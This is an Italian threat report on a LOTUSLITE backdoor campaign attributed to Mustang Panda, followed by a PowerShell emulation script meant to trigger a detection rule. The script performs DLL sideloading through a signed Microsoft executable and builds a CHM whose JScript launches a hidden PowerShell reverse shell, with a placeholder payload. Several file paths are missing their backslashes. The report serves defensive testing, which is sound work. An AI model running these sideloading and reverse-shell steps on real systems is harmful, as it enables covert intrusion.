Stesso pacchetto, magia diversa: Mustang Panda colpisce il settore bancario indiano e la geopolitica della Corea

Sommario

L’Unità Ricerca sulle Minacce di Acronis ha scoperto una nuova variante del backdoor LOTUSLITE che prende di mira organizzazioni nel settore bancario indiano e individui collegati agli affari diplomatici sudcoreani. Il malware viene distribuito tramite il sideloading di DLL, utilizzando un eseguibile firmato da Microsoft per caricare una libreria dannosa, quindi comunicando con un server di comando e controllo basato su DNS dinamico tramite HTTPS. Basandosi su schemi infrastrutturali e sovrapposizioni di tecniche, i ricercatori hanno attribuito l’attività a Mustang Panda con moderata fiducia.

Indagine

Gli analisti hanno esaminato un file CHM dannoso, un loader basato su JavaScript e un eseguibile Microsoft_DNX.exe firmato che sideloadava una DLL contenente il payload LOTUSLITE. La loro analisi ha rivelato aggiornamenti nelle funzioni esportate, convenzioni di denominazione dei mutex, opzioni della riga di comando, valori magici dei pacchetti e metodi di risoluzione delle API. Il team ha anche collegato l’operazione a precedenti campagne di Mustang Panda tramite domini gestiti da Dynu e infrastrutture IP associate.

Mitigazione

I difensori dovrebbero impedire il caricamento non autorizzato di DLL negli eseguibili firmati da Microsoft, monitorare per i modelli di mutex identificati e per gli argomenti della riga di comando modificati, e applicare controlli rigorosi sul traffico DNS dinamico. I team di sicurezza dovrebbero anche rilevare il valore magico del pacchetto distintivo 0xB2EBCFDF e controllare le modifiche sospette alla chiave Run di HKCU che potrebbero indicare persistenza.

Risposta

Se viene rilevata questa attività, isolare immediatamente il sistema compromesso, terminare il processo dannoso, rimuovere sia la DLL sideloadata che l’eseguibile abusato dal disco. La memoria dovrebbe essere acquisita per l’analisi forense, le credenziali esposte devono essere revocate e i domini di comando e controllo identificati e gli indirizzi IP dovrebbero essere bloccati. Dovrebbe essere effettuata una ricerca più ampia nell’ambiente per individuare gli artefatti di persistenza basati su mutex e registro legati alla campagna.

Esecuzione della Simulazione

Pre-requisito: Il Controllo Pre-volo di Telemetria e Linea di Base deve essere passato.

Motivo: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria attesa dalla logica di rilevamento.

• Narrativa dell’Attacco e Comandi:

  1. Posiziona la DLL malevola:

     • L’attaccante copia una DLL malevola (lotuslite.dll) nella stessa directory dell’autentico eseguibile Microsoft_DNX.exe. Questa DLL contiene il payload del backdoor.

  2. Esegui sideloading della DLL tramite Microsoft_DNX.exe:

     • Lanciando eseguibile Microsoft_DNX.exe senza argomenti, Windows carica per prima la DLL malevola (a causa dell’hijack dell'”ordine di ricerca”), eseguendo il backdoor.

  3. Crea CHM malevolo:

     • Un file CHM (evil.chm) è creato contenente JavaScript che, quando reso, lancia una shell inversa PowerShell.

  4. Attiva JavaScript tramite hh.exe:

     • L’attaccante esegue hh.exe evil.chm, facendo sì che l’eseguibile di Aiuto HTML interpreti il CHM ed esegua lo script incorporato, raggiungendo l’esecuzione di codice sotto un binario firmato.

  Questa sequenza genera due eventi Sysmon Process Create distinti che soddisfano le condizioni della regola di rilevamento.

• Script di Test di Regressione:

  # -------------------------------------------------------------------------
  # Simulazione LotusLite – DLL sideloading + hh.exe esecuzione CHM
  # -------------------------------------------------------------------------
  # Pre-requisiti:
  #   - Sysmon installato e inoltro log.
  #   - Privilegi di amministratore (necessari per scrivere in Programmi).
  
  $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
  $dnxDir  = Split-Path $dnxPath -Parent
  
  # 1. Distribuisci poayload DLL malevolo (payload simulato)
  $malDllSource = "C:Templotuslite.dll"      # <-- sostituire con percorso reale payload
  $malDllDest   = Join-Path $dnxDir "lotuslite.dll"
  Copy-Item -Path $malDllSource -Destination $malDllDest -Force
  
  # 2. Lancia Microsoft_DNX.exe per attivare sideloading della DLL
  Write-Host "[*] Lanciando Microsoft_DNX.exe per sideloading della DLL..."
  Start-Process -FilePath $dnxPath -WindowStyle Hidden
  
  # 3. Crea CHM malevolo contenente JavaScript (esempio semplificato)
  $chmPath = "C:Tempevil.chm"
  $htmlContent = @"
  <HTML><HEAD>
  <SCRIPT language=`"JScript`">
  var shell = new ActiveXObject("WScript.Shell");
  shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0);
  </SCRIPT>
  </HEAD><BODY></BODY></HTML>
  "@
  
  $tempHtml = "C:Tempevil.html"
  $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII
  
  # Utilizzare makecab per incapsulare l'HTML in un CHM (richiede strumenti SDK Windows)
  $makeCab = "$env:WINDIRsystem32makecab.exe"
  & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath
  
  # 4. Esegui il CHM tramite hh.exe
  Write-Host "[*] Lanciando hh.exe su CHM malevolo..."
  Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden
  
  # Rimuovi file temporanei (mantieni DLL malevola per analisi post-esecuzione)
  Remove-Item $tempHtml -Force
  Write-Host "[*] Simulazione completa."

• Comandi di Ripristino:

  # -------------------------------------------------------------------------
  # Ripristino per Simulazione LotusLite
  # -------------------------------------------------------------------------
  $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
  $dnxDir  = Split-Path $dnxPath -Parent
  $malDllDest = Join-Path $dnxDir "lotuslite.dll"
  $chmPath = "C:Tempevil.chm"
  
  # Rimuovi DLL malevola
  if (Test-Path $malDllDest) {
      Remove-Item $malDllDest -Force
      Write-Host "[*] Rimossa DLL malevola."
  }
  
  # Rimuovi CHM
  if (Test-Path $chmPath) {
      Remove-Item $chmPath -Force
      Write-Host "[*] Rimosso CHM malevolo."
  }
  
  # Termina eventuali processi residui (se presenti)
  Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force
  Write-Host "[*] Ripristino completato."